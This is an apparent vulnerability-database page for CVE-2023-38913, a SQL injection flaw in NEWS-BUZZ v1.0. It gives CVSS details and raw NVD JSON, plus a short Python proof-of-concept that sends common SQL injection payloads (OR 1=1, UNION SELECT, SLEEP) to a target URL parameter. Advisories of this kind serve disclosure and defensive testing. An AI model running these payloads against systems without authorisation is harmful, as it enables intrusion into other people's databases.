Security Vulnerability Report
中文
CVE-2023-38913 CVSS 5.3 MEDIUM

CVE-2023-38913

Published: 2025-12-15 21:15:49
Last Modified: 2025-12-18 22:33:03

Description

SQL injection vulnerability in anirbandutta9 NEWS-BUZZ v.1.0 allows a remote attacker to execute arbitrary code via a crafted script.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:anirbandutta9:news-buzz:1.0:*:*:*:*:*:*:* - VULNERABLE
anirbandutta9 NEWS-BUZZ v1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2023-38913 SQL Injection PoC Target: anirbandutta9 NEWS-BUZZ v1.0 Author: Security Researcher """ import requests import sys from urllib.parse import urlencode def test_sql_injection(url, param_name='id'): """Test for SQL injection vulnerability""" # Basic SQL injection test payloads payloads = [ "1' OR '1'='1", "1' UNION SELECT 1,2,3--", "1' AND SLEEP(5)--", "1' OR 1=1 LIMIT 1--" ] headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Content-Type': 'application/x-www-form-urlencoded' } print(f"[*] Testing SQL injection on {url}") print(f"[*] Target parameter: {param_name}") for payload in payloads: params = {param_name: payload} try: response = requests.get( url, params=params, headers=headers, timeout=10, verify=False ) print(f"\n[+] Payload: {payload}") print(f" Status: {response.status_code}") print(f" Length: {len(response.text)}") # Check for SQL error indicators error_indicators = ['sql', 'syntax', 'mysql', 'warning', 'error'] response_lower = response.text.lower() for indicator in error_indicators: if indicator in response_lower: print(f" [!] Potential SQL error detected: '{indicator}'") except requests.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == '__main__': if len(sys.argv) < 2: print(f"Usage: python3 {sys.argv[0]} <target_url> [parameter_name]") print(f"Example: python3 {sys.argv[0]} http://target.com/news.php id") sys.exit(1) target_url = sys.argv[1] param_name = sys.argv[2] if len(sys.argv) > 2 else 'id' test_sql_injection(target_url, param_name)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2023-38913", "sourceIdentifier": "[email protected]", "published": "2025-12-15T21:15:48.930", "lastModified": "2025-12-18T22:33:03.010", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "SQL injection vulnerability in anirbandutta9 NEWS-BUZZ v.1.0 allows a remote attacker to execute arbitrary code via a crafted script."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:anirbandutta9:news-buzz:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "4808771E-72B7-43EF-853F-B3080E9B519B"}]}]}], "references": [{"url": "https://gist.github.com/nguyenkhanhthuan/03ce706686508b14506d38788c754dfb", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/ThuanNguyen115685/Report/blob/main/sqlinjection.md", "source": "[email protected]", "tags": ["Broken Link"]}]}}